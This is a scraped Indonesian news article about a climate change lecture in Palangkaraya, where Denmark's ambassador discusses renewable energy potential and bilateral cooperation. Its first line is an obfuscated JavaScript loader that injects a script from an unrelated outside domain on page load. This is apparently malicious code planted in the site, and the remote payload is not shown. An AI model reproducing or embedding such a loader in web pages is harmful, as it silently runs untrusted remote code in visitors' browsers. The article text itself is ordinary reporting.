(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Tengah

Seminar Mitigasi Perubahan Iklim di Palangkaraya, Dubes Denmark: Indonesia Punya Potensi Besar Energi Terbarukan


KANALKALIMANTAN. COM, PALANGKARAYA – Yayasan Borneo Orangutan Survival (BOS) Mawas Kalimantan Tengah menyelenggarakan Public Lecture: Danish Climate Act and Danish-Indonesian Partnership in Mitigating Climate Change di aula swiss belHotel Danum Palangkaraya, Rabu  (18/6/2025) siang.

Duta Besar (Dubes) Denmark untuk Indonesia, HE Rasmus Abildgaard Kristensen hadir sebagai narasumber dalam acara seminar lingkungan di Provinsi Kalimantan Tengah ini.

Rasmus memaparkan bagaimana strategi Denmark menerapkan penggunaan energi terbaru sebagai solusi dari perubahan iklim dunia.

Menurut Rasmus, Indonesia memiliki potensi energi terbarukan yang sangat besar, namun belum diterapkan. Rasmus menjelaskan empat faktor penting yang dapat menurunkan harga energi terbarukan yakni, perkembangan teknologi, fundamental persaingan ekonomi (kompetisi, lelang, dan harga), skala ekonomi serta regulasi politik yang stabil.

Baca juga: ASEAN Dengue Day, Ini Sejarah Dicetuskannya

Menurut Rasmus, politisi dan pemangku kebijakan harus mulai serius mempertimbangkan energi terbarukan sebagai solusi dalam menghadapi perubahan iklim. Seperti di Denmark, 8 dari 10 partai yang duduk di bangku Parlemen Denmark sudah mendukung gerakan climate change.

Dia menyebutkan pemerintah Denmark menargetkan penggunaan 100 persen energi terbarukan pada tahun 2030. “Proses itu tidak membutuhkan waktu lama yang berlarut-larut. Pengembangan Energi Baru Terbarukan (EBT) dapat dilakukan dalam jangka waktu 5-10 tahun,” ungkap Rasmus.

Rasmus menyampaikan sanggahan terhadap tiga mitos yang menyebut pengembangan energi baru dan terbarukan sulit dilakukan.

Pertama, banyak yang mengatakan pengembangan energi terbarukan butuh waktu lama, padahal kenyataannya tidak.

Baca juga: Wabup Dodo Pimpin Rapat Percepatan Pembentukan Koperasi Merah Putih

Dia menjelaskan Denmark mulai mengurangi penggunaan bahan bakar fosil dan berupaya membangun ketahanan energi dalam negeri dengan mengembangkan industri terbarukan.

Kedua, menyanggah anggapan penggunaan energi terbarukan tidak dapat diandalkan jadi sumber utama energi nasional. “Buat saya, mitos itu tidak tepat karena saat ini Denmark menjadi salah satu negara dengan tingkat ketahanan energi yang cukup tinggi di dunia,” ujar Dubes Rasmus.

Ketiga, anggapan biaya pengembangan energi terbarukan mahal. “Anggapan mahal itu tidak terbukti karena saat ini banyak teknologi yang tersedia untuk pengembangan energi terbarukan. Situasinya jika dibandingkan dengan beberapa tahun sebelumnya, saat ini jauh lebih murah, setidaknya dalam waktu 10 tahun terakhir,” jelas Dubes Rasmus.

“Ada tiga faktor yang membantu menurunkan biaya pengembangan energi terbarukan, di antaranya ketersediaan teknologi, kompetisi antar pemasok di pasar serta skala bisnis. Jika pengembangan energi terbarukan dilakukan secara masif atau pada tingkatan industri maka ongkos produksi dapat ditekan,” ungkap Rasmus.

Baca juga: AR Diringkus Satresnarkoba Polres HSU, 20 Paket Sabu Jadi Barang Bukti

Rasmus menambahkan kerjasama sektor energi yang nantinya akan terjalin antar Denmark dan Indonesia adalah pemodelan dan perencanaan energi jangka panjang, integrasi energi terbarukan dan efisiensi energi.

Hal ini semua sejalan dengan Danish International Development Agency (Danida) yang digunakan bidang kerjasama pembangunan Denmark yang merupakan bidang kegiatan di bawah Kementerian Luar Negeri Denmark. Fokus area dari Danida ini salah satunya adalah green growth yaitu program dukungan lingkungan, kehutanan dan penggunaan lahan, penanganan limbah dan produksi pangan berkelanjutan. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

22 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

2 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

2 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

2 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 hari ago

This website uses cookies.